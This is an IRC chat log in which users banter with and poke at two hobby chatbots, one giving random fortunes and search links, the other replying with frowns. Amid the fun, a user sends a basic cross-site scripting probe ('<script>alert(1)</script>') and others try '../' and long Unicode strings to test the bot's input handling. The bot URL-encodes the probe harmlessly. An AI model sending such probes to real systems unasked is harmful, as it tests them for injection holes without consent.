[2015-03-26T20:10:42-0400] <JacobEdelman> its been here for a bit
[2015-03-26T20:10:49-0400] <JacobEdelman> heck, most of the time it will stay silent
[2015-03-26T20:11:02-0400] <JacobEdelman> but it can
[2015-03-26T20:11:03-0400] <JacobEdelman> wait
[2015-03-26T20:11:06-0400] <JacobEdelman> just realized
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[2015-03-26T20:11:14-0400] <alokpathy> sdamashek: ?
[2015-03-26T20:11:16-0400] <alokpathy> oops
[2015-03-26T20:11:19-0400] <alokpathy> sadbot: ?
[2015-03-26T20:11:25-0400] <alokpathy> :)
[2015-03-26T20:11:25-0400] <sadbot> :(
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[2015-03-26T20:11:27-0400] <alokpathy> Oh
[2015-03-26T20:11:28-0400] <JacobEdelman> fixed
[2015-03-26T20:11:32-0400] <alokpathy> :(
[2015-03-26T20:11:32-0400] <JacobEdelman> @fortune
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[2015-03-26T20:11:34-0400] <alokpathy> :)
[2015-03-26T20:11:34-0400] <sadbot> :(
[2015-03-26T20:11:35-0400] <JacobEdelman> or not
[2015-03-26T20:11:36-0400] <alokpathy> :)
[2015-03-26T20:11:36-0400] <sadbot> :(
[2015-03-26T20:11:38-0400] <alokpathy> :D
[2015-03-26T20:11:38-0400] <sadbot> :(
[2015-03-26T20:11:40-0400] <alokpathy> :DDD
[2015-03-26T20:11:40-0400] <sadbot> :(
[2015-03-26T20:11:42-0400] <alokpathy> :))))))))))))
[2015-03-26T20:11:42-0400] <sadbot> :(
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[2015-03-26T20:11:55-0400] <JacobEdelman> @fortune
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[2015-03-26T20:12:18-0400] <JacobEdelman> @fortune
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[2015-03-26T20:12:45-0400] <JacobEdelman> @fortune
[2015-03-26T20:12:45-0400] <JacobBot>  within 23 hours you shall be betrayed by a vast insult.
[2015-03-26T20:12:54-0400] <alokpathy> @fortune
[2015-03-26T20:12:54-0400] <JacobBot>  within 11 months you shall be betrayed by an insulting insult.
[2015-03-26T20:13:01-0400] <alokpathy> @fortune
[2015-03-26T20:13:01-0400] <JacobBot>  in 5 weeks your son will be betrayed by a dark discovery.
[2015-03-26T20:13:03-0400] <z3t> an insulting insult?
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[2015-03-26T20:13:11-0400] <JacobEdelman> @fortune
[2015-03-26T20:13:12-0400] <JacobBot> In 21 months your son will be betrayed by an imporant stranger.
[2015-03-26T20:13:25-0400] <z3t> @fortune @fortune
[2015-03-26T20:13:31-0400] <JacobEdelman> nope
[2015-03-26T20:13:34-0400] <JacobEdelman> only one at a time
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[2015-03-26T20:13:53-0400] <JacobEdelman> @fortune sadsas
[2015-03-26T20:13:53-0400] <JacobBot> In 3 years your father shall be overwelmed by a dark resteraunt.
[2015-03-26T20:13:57-0400] <JacobEdelman> lol
[2015-03-26T20:13:57-0400] <sadbot> :(
[2015-03-26T20:14:11-0400] <JacobEdelman> @fortune
[2015-03-26T20:14:11-0400] <JacobBot> In 13 years you shall fall madly in love with a deathly insult.
[2015-03-26T20:14:15-0400] <JacobEdelman> lol
[2015-03-26T20:14:15-0400] <sadbot> :(
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[2015-03-26T20:15:08-0400] <JacobEdelman> awebot just messaged me
[2015-03-26T20:15:09-0400] <JacobEdelman> again
[2015-03-26T20:15:12-0400] <JacobEdelman> @fortune
[2015-03-26T20:15:12-0400] <JacobBot> Within 14 hours you shall fall madly in love with a dark stranger.
[2015-03-26T20:15:14-0400] <z3t> @fortune?
[2015-03-26T20:15:14-0400] <JacobBot> And lo! in 8 months you shall be overwelmed by a peculiar insult.
[2015-03-26T20:15:48-0400] <z3t> this seems a bit pointless
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[2015-03-26T20:16:13-0400] <JacobEdelman> and your bot isn't?
[2015-03-26T20:16:19-0400] <JacobEdelman> fortune is fun
[2015-03-26T20:16:19-0400] <sadbot> :(
[2015-03-26T20:16:26-0400] <JacobEdelman> @fortune
[2015-03-26T20:16:26-0400] <JacobBot> Within 24 days you will be overwelmed by a fat discovery.
[2015-03-26T20:16:30-0400] <JacobEdelman> lol
[2015-03-26T20:16:30-0400] <sadbot> :(
[2015-03-26T20:16:44-0400] <JacobEdelman> my bot has many other useful features
[2015-03-26T20:16:45-0400] <JacobEdelman> for instance
[2015-03-26T20:16:50-0400] <JacobEdelman> shut up JacobBot
[2015-03-26T20:16:50-0400] <JacobBot> YOU SHALL NEVER SILENCE ME!!!!!!!!
[2015-03-26T20:16:53-0400] <JacobEdelman> :P
[2015-03-26T20:16:53-0400] <sadbot> :(
[2015-03-26T20:17:02-0400] <alokpathy> @fortune
[2015-03-26T20:17:02-0400] <JacobBot> In 14 days you shall fall madly in love with a peculiar lesson.
[2015-03-26T20:17:07-0400] <JacobEdelman> wow
[2015-03-26T20:17:09-0400] <alokpathy> ...lesson?
[2015-03-26T20:17:09-0400] <JacobBot> https://lmddgtfy.net/?q=...lesson
[2015-03-26T20:17:10-0400] <JacobEdelman> what shall you learn?
[2015-03-26T20:17:20-0400] <JacobEdelman> oh yeah, thats a feature too
[2015-03-26T20:17:23-0400] <alokpathy> ?
[2015-03-26T20:17:23-0400] <JacobBot> https://lmddgtfy.net/?q=
[2015-03-26T20:17:25-0400] <alokpathy> as
[2015-03-26T20:17:27-0400] <alokpathy> ?
[2015-03-26T20:17:27-0400] <JacobBot> https://lmddgtfy.net/?q=
[2015-03-26T20:17:29-0400] <alokpathy> asdfgadfg?
[2015-03-26T20:17:29-0400] <JacobBot> https://lmddgtfy.net/?q=asdfgadfg
[2015-03-26T20:17:45-0400] <Hyper> <script>alert(1);</script>?
[2015-03-26T20:17:45-0400] <JacobBot> https://lmddgtfy.net/?q=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
[2015-03-26T20:17:52-0400] <alokpathy> Darn
[2015-03-26T20:17:52-0400] <sadbot> :(
[2015-03-26T20:17:55-0400] <alokpathy> Hyper: beat me to it
[2015-03-26T20:17:55-0400] <JacobEdelman> url encoding for the win
[2015-03-26T20:18:43-0400] <JacobEdelman> @fortune
[2015-03-26T20:18:43-0400] <JacobBot> Within 20 weeks you will be betrayed by a vast insult.
[2015-03-26T20:18:48-0400] <JacobEdelman> lol
[2015-03-26T20:18:48-0400] <sadbot> :(
[2015-03-26T20:19:15-0400] <JacobEdelman> okay
[2015-03-26T20:19:49-0400] <JacobEdelman> i'm nominating sadb0t for banning
[2015-03-26T20:20:00-0400] <alokpathy> sadbot
[2015-03-26T20:20:06-0400] <JacobEdelman> sadbot
[2015-03-26T20:20:09-0400] <alokpathy> Why'd you put the 0?
[2015-03-26T20:20:18-0400] <alokpathy> sadbot: banning
[2015-03-26T20:20:20-0400] <alokpathy> ?
[2015-03-26T20:20:20-0400] <JacobBot> https://lmddgtfy.net/?q=
[2015-03-26T20:20:21-0400] <JacobEdelman> I thought it responded when you said its name
[2015-03-26T20:20:29-0400] <alokpathy> JacobEdelman: stfu
[2015-03-26T20:20:31-0400] <alokpathy> oh
[2015-03-26T20:20:33-0400] <alokpathy> oops
[2015-03-26T20:20:35-0400] <alokpathy> no no t you
[2015-03-26T20:20:37-0400] <alokpathy> I meant your bot
[2015-03-26T20:20:37-0400] <JacobEdelman> stfu?
[2015-03-26T20:20:37-0400] <JacobBot> https://lmddgtfy.net/?q=stfu
[2015-03-26T20:20:47-0400] <alokpathy> JacobBot: stfu
[2015-03-26T20:20:51-0400] <alokpathy> lol
[2015-03-26T20:20:51-0400] <sadbot> :(
[2015-03-26T20:20:55-0400] <JacobEdelman> thanks JacobBot
[2015-03-26T20:20:56-0400] <alokpathy> sadbot: STAHP
[2015-03-26T20:20:59-0400] <alokpathy> ay
[2015-03-26T20:21:01-0400] <alokpathy> it stoppped
[2015-03-26T20:21:03-0400] <alokpathy> :)
[2015-03-26T20:21:03-0400] <sadbot> :(
[2015-03-26T20:21:05-0400] <alokpathy> >:|
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[2015-03-26T20:21:56-0400] <grantwu> @fortune
[2015-03-26T20:21:56-0400] <JacobBot> Within 24 months you shall shaken by a dark student.
[2015-03-26T20:22:11-0400] <grantwu> Why don't you have it write the output of the fortune command
[2015-03-26T20:22:31-0400] <JacobEdelman> ?
[2015-03-26T20:22:31-0400] <JacobBot> https://lmddgtfy.net/?q=
[2015-03-26T20:23:05-0400] <JacobEdelman> lol
[2015-03-26T20:23:05-0400] <sadbot> :(
[2015-03-26T20:23:07-0400] <JacobEdelman> ?
[2015-03-26T20:23:07-0400] <JacobBot> https://lmddgtfy.net/?q=
[2015-03-26T20:23:16-0400] <JacobEdelman> that shouldn't do that
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[2015-03-26T20:23:38-0400] <JacobEdelman> ?
[2015-03-26T20:24:06-0400] <z3t> null?
[2015-03-26T20:24:06-0400] <JacobBot> https://lmddgtfy.net/?q=null
[2015-03-26T20:24:51-0400] <JacobEdelman> did you expect that to error?
[2015-03-26T20:24:58-0400] <z3t> no not really
[2015-03-26T20:25:55-0400] <LittleBobbyTables> ?
[2015-03-26T20:26:00-0400] <LittleBobbyTables>  ?
[2015-03-26T20:26:00-0400] <JacobBot> https://lmddgtfy.net/?q=+
[2015-03-26T20:26:12-0400] <LittleBobbyTables> ??
[2015-03-26T20:26:12-0400] <JacobBot> https://lmddgtfy.net/?q=%3F
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[2015-03-26T20:26:21-0400] <LittleBobbyTables>  ?
[2015-03-26T20:26:21-0400] <JacobEdelman> ??
[2015-03-26T20:26:21-0400] <JacobBot> https://lmddgtfy.net/?q=%3F
[2015-03-26T20:26:26-0400] <JacobEdelman> okay, thats fine
[2015-03-26T20:26:29-0400] <JacobEdelman>  ?
[2015-03-26T20:26:31-0400] <alokpathy> 𝄡?
[2015-03-26T20:26:31-0400] <JacobBot> https://lmddgtfy.net/?q=%F0%9D%84%A1
[2015-03-26T20:26:32-0400] <JacobEdelman> good
[2015-03-26T20:26:32-0400] <LittleBobbyTables>      ?
[2015-03-26T20:26:33-0400] <z3t> ../?
[2015-03-26T20:26:33-0400] <JacobBot> https://lmddgtfy.net/?q=..%2F
[2015-03-26T20:27:32-0400] <LittleBobbyTables> 香?
[2015-03-26T20:27:32-0400] <JacobBot> https://lmddgtfy.net/?q=%E9%A6%99
[2015-03-26T20:27:50-0400] <alokpathy> 香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香香?
[2015-03-26T20:27:50-0400] <JacobBot> https://lmddgtfy.net/?q=%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99%E9%A6%99
[2015-03-26T20:28:13-0400] <LittleBobbyTables> ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
[2015-03-26T20:28:13-0400] <JacobBot> https://lmddgtfy.net/?q=%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3F%3
[2015-03-26T20:28:24-0400] <alokpathy> ? ?
[2015-03-26T20:28:24-0400] <JacobBot> https://lmddgtfy.net/?q=%3F+
[2015-03-26T20:28:35-0400] <z3t> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
[2015-03-26T20:28:35-0400] <JacobBot> https://lmddgtfy.net/?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[2015-03-26T20:28:37-0400] <alokpathy>  ? ?
[2015-03-26T20:28:37-0400] <JacobBot> https://lmddgtfy.net/?q=%3F+
[2015-03-26T20:28:49-0400] <z3t> ?.?.?
[2015-03-26T20:28:49-0400] <JacobBot> https://lmddgtfy.net/?q=%3F.%3F.
[2015-03-26T20:28:51-0400] <alokpathy> ? ? ?
[2015-03-26T20:28:56-0400] <alokpathy> Ay
[2015-03-26T20:28:56-0400] <LittleBobbyTables>  ?
[2015-03-26T20:29:05-0400] <z3t> ? ? ?
[2015-03-26T20:29:06-0400] <alokpathy> ? ? ? ? ?
[2015-03-26T20:29:08-0400] <z3t> ?
[2015-03-26T20:29:10-0400] <z3t> lol?
[2015-03-26T20:29:10-0400] <sadbot> :(
[2015-03-26T20:29:10-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T20:29:10-0400] <sadbot> :(
[2015-03-26T20:29:17-0400] <z3t> thanks sadbot
[2015-03-26T20:29:24-0400] <alokpathy> sadbot: stahp
[2015-03-26T20:29:24-0400] <JacobBot> I think you meant: sadbot: stamp
[2015-03-26T20:29:26-0400] <z3t> faster than JacobBot
[2015-03-26T20:29:32-0400] <alokpathy> ...........
[2015-03-26T20:29:35-0400] <z3t> lol?
[2015-03-26T20:29:35-0400] <sadbot> :(
[2015-03-26T20:29:35-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T20:29:35-0400] <sadbot> :(
[2015-03-26T20:29:37-0400] <z3t> ha!
[2015-03-26T20:29:44-0400] <alokpathy> lolol
[2015-03-26T20:29:44-0400] <sadbot> :(
[2015-03-26T20:29:46-0400] <alokpathy> >:|
[2015-03-26T20:29:49-0400] <z3t> :)?
[2015-03-26T20:29:49-0400] <sadbot> :(
[2015-03-26T20:29:49-0400] <JacobBot> https://lmddgtfy.net/?q=%3A%29
[2015-03-26T20:29:52-0400] <LittleBobbyTables> ​?
[2015-03-26T20:29:52-0400] <JacobBot> https://lmddgtfy.net/?q=%E2%80%8B
[2015-03-26T20:29:53-0400] <alokpathy> If only I could kick them
[2015-03-26T20:29:59-0400] <z3t> jacob get out timed
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[2015-03-26T20:31:43-0400] <JacobEdelman> okay, improved
[2015-03-26T20:31:49-0400] <alokpathy> igh
[2015-03-26T20:31:52-0400] <alokpathy> stahp
[2015-03-26T20:31:52-0400] <JacobBot> I think you meant: stamp
[2015-03-26T20:31:55-0400] <alokpathy> gdi
[2015-03-26T20:31:58-0400] <JacobEdelman> lol
[2015-03-26T20:31:58-0400] <sadbot> :(
[2015-03-26T20:31:59-0400] <alokpathy> Iz
[2015-03-26T20:32:05-0400] <alokpathy> Helo
[2015-03-26T20:32:08-0400] <alokpathy> ...
[2015-03-26T20:32:21-0400] <alokpathy> How ar you?
[2015-03-26T20:32:23-0400] <JacobEdelman> what, not
[2015-03-26T20:32:25-0400] <JacobEdelman> *no
[2015-03-26T20:32:30-0400] <alokpathy> ?
[2015-03-26T20:32:32-0400] <JacobEdelman> its just for when you say stahp
[2015-03-26T20:32:32-0400] <JacobBot> I think you meant: its just for when you say stamp
[2015-03-26T20:32:35-0400] <JacobEdelman> just for you
[2015-03-26T20:32:37-0400] <JacobEdelman> :P
[2015-03-26T20:32:37-0400] <sadbot> :(
[2015-03-26T20:32:38-0400] <alokpathy> :|
[2015-03-26T20:32:38-0400] <JacobBot> Nobody ever expects the pdgish inquisition!
[2015-03-26T20:32:44-0400] <alokpathy> ..?
[2015-03-26T20:32:44-0400] <JacobBot> https://lmddgtfy.net/?q=..
[2015-03-26T20:32:46-0400] <alokpathy> :|
[2015-03-26T20:32:52-0400] <alokpathy> :(
[2015-03-26T20:32:54-0400] <alokpathy> :)
[2015-03-26T20:32:54-0400] <sadbot> :(
[2015-03-26T20:33:22-0400] <alokpathy> I don't like sadbot 
[2015-03-26T20:33:24-0400] <alokpathy> plz kill
[2015-03-26T20:33:31-0400] <z3t> lol?
[2015-03-26T20:33:31-0400] <sadbot> :(
[2015-03-26T20:33:31-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T20:33:31-0400] <sadbot> :(
[2015-03-26T20:33:33-0400] <z3t> still out timed
[2015-03-26T20:33:34-0400] <z3t> gg
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[2015-03-26T20:35:46-0400] <JacobEdelman> lol?
[2015-03-26T20:35:47-0400] <JacobBot> In 2 years your son will fall madly in love with a gigantic stranger.
[2015-03-26T20:35:47-0400] <sadbot> :(
[2015-03-26T20:35:53-0400] <JacobEdelman> wait, oops
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[2015-03-26T20:36:24-0400] <JacobEdelman> lol?
[2015-03-26T20:36:24-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T20:36:24-0400] <sadbot> :(
[2015-03-26T20:36:24-0400] <sadbot> :(
[2015-03-26T20:36:45-0400] <JacobEdelman> see, my thing is faster now 
[2015-03-26T20:36:49-0400] <JacobEdelman> z3t: ^
[2015-03-26T20:38:24-0400] <z3t> oh you want a war do you?
[2015-03-26T20:38:34-0400] <JacobEdelman> not a spammy war
[2015-03-26T20:38:38-0400] <JacobEdelman> but a speed war is fine
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[2015-03-26T20:38:54-0400] <z3t> at a bit of a disadvantage due to basement internet
[2015-03-26T20:38:58-0400] <z3t> but i'll do my best
[2015-03-26T20:41:01-0400] <JacobEdelman> weee
[2015-03-26T20:41:05-0400] <JacobEdelman> I got rid of sadbot 
[2015-03-26T20:41:06-0400] <JacobEdelman> :)
[2015-03-26T20:41:08-0400] <JacobEdelman> :)
[2015-03-26T20:41:10-0400] <JacobEdelman> :)
[2015-03-26T20:41:11-0400] <JacobEdelman> :)
[2015-03-26T20:41:13-0400] <JacobEdelman> :)
[2015-03-26T20:41:14-0400] <JacobEdelman> :)
[2015-03-26T20:41:18-0400] <JacobEdelman> lol
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[2015-03-26T20:41:20-0400] <JacobEdelman> lol
[2015-03-26T20:41:20-0400] <sadbot> :(
[2015-03-26T20:41:22-0400] <z3t> lol?
[2015-03-26T20:41:22-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T20:41:22-0400] <sadbot> :(
[2015-03-26T20:41:22-0400] <sadbot> :(
[2015-03-26T20:41:22-0400] <alokpathy> >:|
[2015-03-26T20:41:24-0400] <z3t> hm
[2015-03-26T20:41:31-0400] <z3t> def internet
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[2015-03-26T20:43:38-0400] <z3t> lol?
[2015-03-26T20:43:38-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T20:43:38-0400] <sadbot> :(
[2015-03-26T20:43:38-0400] <sadbot> :(
[2015-03-26T20:43:47-0400] <z3t> I would really love to see the millis difference
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[2015-03-26T20:50:20-0400] <z3t> last attempt
[2015-03-26T20:50:21-0400] <z3t> lol?
[2015-03-26T20:50:21-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T20:50:21-0400] <sadbot> :(
[2015-03-26T20:50:21-0400] <sadbot> :(
[2015-03-26T20:54:00-0400] <JacobEdelman> yup
[2015-03-26T20:54:31-0400] <JacobEdelman> I have no idea why mine is faster
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[2015-03-26T20:55:46-0400] <Hyper> are they gone?
[2015-03-26T20:56:45-0400] <JacobEdelman> what, no!
[2015-03-26T20:56:49-0400] <JacobEdelman> they are amazing
[2015-03-26T20:56:58-0400] <Hyper> "amazing"
[2015-03-26T20:56:58-0400] <JacobEdelman> well, mine is amazing
[2015-03-26T20:57:03-0400] <JacobEdelman> @fortune
[2015-03-26T20:57:03-0400] <JacobBot> In 21 weeks your son shall shaken by a pretty puddle.
[2015-03-26T20:57:24-0400] <jwoglom> @fortune
[2015-03-26T20:57:25-0400] <JacobBot> In 19 months you will receive a vast stranger.
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[2015-03-26T20:57:44-0400] <jwoglom> nice TLS, m8
[2015-03-26T20:57:53-0400] <JacobEdelman> @fortune
[2015-03-26T20:57:53-0400] <JacobBot> In 16 months you shall be shaken by an imporant puppy.
[2015-03-26T20:57:58-0400] <JacobEdelman> lol
[2015-03-26T20:57:58-0400] <sadbot> :(
[2015-03-26T20:58:20-0400] <jwoglom> :):)
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[2015-03-26T20:58:32-0400] <z3t> I removed everything to try and beat JacobBot jwoglom
[2015-03-26T20:58:43-0400] <JacobEdelman> lol
[2015-03-26T20:58:43-0400] <sadbot> :(
[2015-03-26T20:58:51-0400] <jwoglom> lol ok
[2015-03-26T20:58:51-0400] <sadbot> :(
[2015-03-26T20:58:53-0400] <jwoglom> :)
[2015-03-26T20:58:58-0400] <JacobEdelman> I am doing nothing special with my both
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[2015-03-26T20:59:14-0400] <JacobEdelman> its not optimized in the slightest so its probably your interet
[2015-03-26T20:59:39-0400] <JacobEdelman> get a digital ocean droplet 
[2015-03-26T20:59:43-0400] <JacobEdelman> *internet
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[2015-03-26T20:59:49-0400] <JacobEdelman> and use the droplet to run your irc
[2015-03-26T21:03:44-0400] <LittleBobbyTables> I should probably get a droplet
[2015-03-26T21:03:53-0400] <LittleBobbyTables> Not only do I have money, I have free money, AND free credits
[2015-03-26T21:04:14-0400] <jwoglom> i think you have to attach a CC to your DO account to use the credits, tho
[2015-03-26T21:04:26-0400] <LittleBobbyTables> VCC works
[2015-03-26T21:05:10-0400] <JacobEdelman> you can use paypal
[2015-03-26T21:05:14-0400] <JacobEdelman> also
[2015-03-26T21:05:16-0400] <JacobEdelman> @fortune
[2015-03-26T21:05:16-0400] <JacobBot> It is foretold that in 3 weeks you shall be overwelmed by an unusual idea.
[2015-03-26T21:05:24-0400] <JacobEdelman> really?
[2015-03-26T21:05:24-0400] <JacobBot> https://lmddgtfy.net/?q=really
[2015-03-26T21:05:27-0400] <LittleBobbyTables> @fortune
[2015-03-26T21:05:27-0400] <JacobBot> It is foretold that within 8 weeks you shall fall madly in love with a fat student.
[2015-03-26T21:05:29-0400] <JacobEdelman> that is quite interesting
[2015-03-26T21:05:31-0400] <JacobEdelman> wow
[2015-03-26T21:05:35-0400] <JacobEdelman> LittleBobbyTables: really...
[2015-03-26T21:05:36-0400] <LittleBobbyTables> Too late
[2015-03-26T21:05:41-0400] <LittleBobbyTables> JacobBot tells the past not the future
[2015-03-26T21:05:48-0400] <JacobEdelman> lol
[2015-03-26T21:05:48-0400] <sadbot> :(
[2015-03-26T21:05:59-0400] <jwoglom> yay
[2015-03-26T21:06:01-0400] <LittleBobbyTables> god damn it sad bot
[2015-03-26T21:07:19-0400] <JacobEdelman> @fortune
[2015-03-26T21:07:19-0400] <JacobBot> In 19 weeks you shall be betrayed by a vast student.
[2015-03-26T21:07:26-0400] <JacobEdelman> ..
[2015-03-26T21:07:33-0400] <LittleBobbyTables> @fortun
[2015-03-26T21:07:36-0400] <JacobEdelman> @fortune
[2015-03-26T21:07:36-0400] <JacobBot> In 19 days you shall fall madly in love with a deathly discovery.
[2015-03-26T21:07:36-0400] <LittleBobbyTables> @fortune
[2015-03-26T21:07:36-0400] <JacobBot> Within 15 weeks you shall be overwelmed by a gigantic stranger.
[2015-03-26T21:07:45-0400] <LittleBobbyTables> So
[2015-03-26T21:07:47-0400] <LittleBobbyTables> in 8 weeks
[2015-03-26T21:07:53-0400] <LittleBobbyTables> I fall in love with a fat student
[2015-03-26T21:07:54-0400] <JacobEdelman> gtg
[2015-03-26T21:07:55-0400] <JacobEdelman> gnight
[2015-03-26T21:07:56-0400] <LittleBobbyTables> then 7 weeks later
[2015-03-26T21:08:01-0400] <LittleBobbyTables> I get overwhelmed
[2015-03-26T21:08:05-0400] <LittleBobbyTables> by a gigantic stranger
[2015-03-26T21:08:09-0400] <LittleBobbyTables> her parents?
[2015-03-26T21:08:31-0400] <jwoglom> what if the gigantic stranger = the fat student
[2015-03-26T21:10:23-0400] <JacobEdelman> It's a mystery
[2015-03-26T21:10:39-0400] <JacobEdelman> What can it's purpose possibly be?
[2015-03-26T21:10:54-0400] <z3t> lol?
[2015-03-26T21:10:54-0400] <sadbot> :(
[2015-03-26T21:11:01-0400] <JacobBot> https://lmddgtfy.net/?q=her+parents
[2015-03-26T21:11:01-0400] <JacobBot> I think you meant: what can it's porpoise possibly be?
[2015-03-26T21:11:01-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T21:11:01-0400] <z3t> mwahaha
[2015-03-26T21:11:01-0400] <sadbot> :(
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[2015-03-26T21:11:15-0400] <z3t> lol?
[2015-03-26T21:11:15-0400] <sadbot> :(
[2015-03-26T21:11:15-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T21:11:16-0400] <sadbot> :(
[2015-03-26T21:11:17-0400] <JacobEdelman> much better
[2015-03-26T21:11:18-0400] <z3t> YES
[2015-03-26T21:11:19-0400] <JacobEdelman> that ttok time
[2015-03-26T21:11:21-0400] <JacobEdelman> wait
[2015-03-26T21:11:22-0400] <JacobEdelman> no
[2015-03-26T21:11:23-0400] <z3t> I AM THE KING
[2015-03-26T21:11:33-0400] <JacobEdelman> it was doing that earlier
[2015-03-26T21:11:43-0400] <JacobEdelman> anyway
[2015-03-26T21:11:47-0400] <JacobEdelman> shutup JacobBot
[2015-03-26T21:11:53-0400] <JacobEdelman> shut up Jacob Bot
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[2015-03-26T21:12:11-0400] <JacobEdelman> shut up Jacob Bot
[2015-03-26T21:12:20-0400] <JacobEdelman> shut up JacobBot
[2015-03-26T21:12:20-0400] <JacobBot> YOU SHALL NEVER SILENCE ME!!!!!!!!
[2015-03-26T21:12:23-0400] <JacobEdelman> good
[2015-03-26T21:12:27-0400] <JacobEdelman> @fortune
[2015-03-26T21:12:27-0400] <JacobBot> In 20 weeks you will fall madly in love with a vast discovery.
[2015-03-26T21:12:27-0400] <LittleBobbyTables> jwoglom: it w ouldn't be a stranger then
[2015-03-26T21:12:37-0400] <LittleBobbyTables> JacobEdelman: shut up
[2015-03-26T21:12:49-0400] <LittleBobbyTables> Go to bed.
[2015-03-26T21:12:51-0400] <LittleBobbyTables> @fortune
[2015-03-26T21:12:51-0400] <JacobBot> In 19 months you shall be injured by a vast resteraunt.
[2015-03-26T21:12:56-0400] <jwoglom> JacobBot: go to bed
[2015-03-26T21:12:57-0400] <LittleBobbyTables> You
[2015-03-26T21:13:00-0400] <LittleBobbyTables> that spelling...
[2015-03-26T21:13:11-0400] <LittleBobbyTables> You spelled it so wrong
[2015-03-26T21:14:02-0400] <JacobEdelman> oh oops
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[2015-03-26T21:20:17-0400] <JacobEdelman> @latex 2\sum{2}
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[2015-03-26T21:20:18-0400] <z3t> lol?
[2015-03-26T21:20:18-0400] <sadbot> :(
[2015-03-26T21:20:29-0400] <z3t> JacobEdelman
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[2015-03-26T21:20:31-0400] <z3t> For the last time
[2015-03-26T21:20:34-0400] <z3t> test it in another channel
[2015-03-26T21:20:35-0400] <z3t> -_-
[2015-03-26T21:20:40-0400] <JacobEdelman> ... youre the one with the spammy bot
[2015-03-26T21:20:45-0400] <z3t> it's not spammy
[2015-03-26T21:20:45-0400] <JacobEdelman> mine is at least a little legit
[2015-03-26T21:20:46-0400] <bob_twinkles> yeah but his works
[2015-03-26T21:20:47-0400] <JacobEdelman> but fine
[2015-03-26T21:20:48-0400] <z3t> it only responds to lol
[2015-03-26T21:20:48-0400] <sadbot> :(
[2015-03-26T21:20:49-0400] <JacobEdelman> after this
[2015-03-26T21:20:54-0400] <JacobEdelman> @latex 2\sum{2}
[2015-03-26T21:20:54-0400] <JacobBot> No input recieved.
[2015-03-26T21:20:57-0400] <z3t> rekt
[2015-03-26T21:20:58-0400] <JacobEdelman> wow
[2015-03-26T21:20:58-0400] <JacobEdelman> fine
[2015-03-26T21:21:02-0400] <JacobEdelman> new channell
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[2015-03-26T21:21:03-0400] <z3t> and lol bob_twinkles
[2015-03-26T21:21:03-0400] <sadbot> :(
[2015-03-26T21:25:45-0400] <+awe> So, how's everyone doing tonight?
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[2015-03-26T21:25:58-0400] <JacobEdelman> okay
[2015-03-26T21:26:04-0400] <JacobEdelman> just finished reimplemnting an old feature
[2015-03-26T21:26:11-0400] <JacobEdelman> it should work if you use good irc clients
[2015-03-26T21:26:11-0400] <z3t> awe pls ban JacobEdelman bots
[2015-03-26T21:26:13-0400] <JacobEdelman> @latex 2^3
[2015-03-26T21:26:14-0400] <JacobBot> 2³
[2015-03-26T21:26:19-0400] <+awe> z3t: why?
[2015-03-26T21:26:19-0400] <JacobEdelman> wait, seriosly
[2015-03-26T21:26:19-0400] <JacobBot> https://lmddgtfy.net/?q=z3t%3A+why
[2015-03-26T21:26:24-0400] <JacobEdelman> whats wrong with my bot
[2015-03-26T21:26:26-0400] <z3t> because it does that ^
[2015-03-26T21:26:32-0400] <JacobEdelman> I'll disable that one feature
[2015-03-26T21:26:35-0400] <+awe> Yeah, you better.
[2015-03-26T21:26:40-0400] <JacobEdelman> or at least make it rarer
[2015-03-26T21:26:49-0400] <JacobEdelman> the point it that when you have a question about something like an animal
[2015-03-26T21:26:52-0400] <JacobEdelman> say a porpoise
[2015-03-26T21:26:56-0400] <JacobEdelman> like z3t did
[2015-03-26T21:26:57-0400] <JacobEdelman> you say 
[2015-03-26T21:27:00-0400] <JacobEdelman> porpoise?
[2015-03-26T21:27:00-0400] <JacobBot> https://lmddgtfy.net/?q=porpoise
[2015-03-26T21:27:03-0400] <JacobEdelman> and it does that
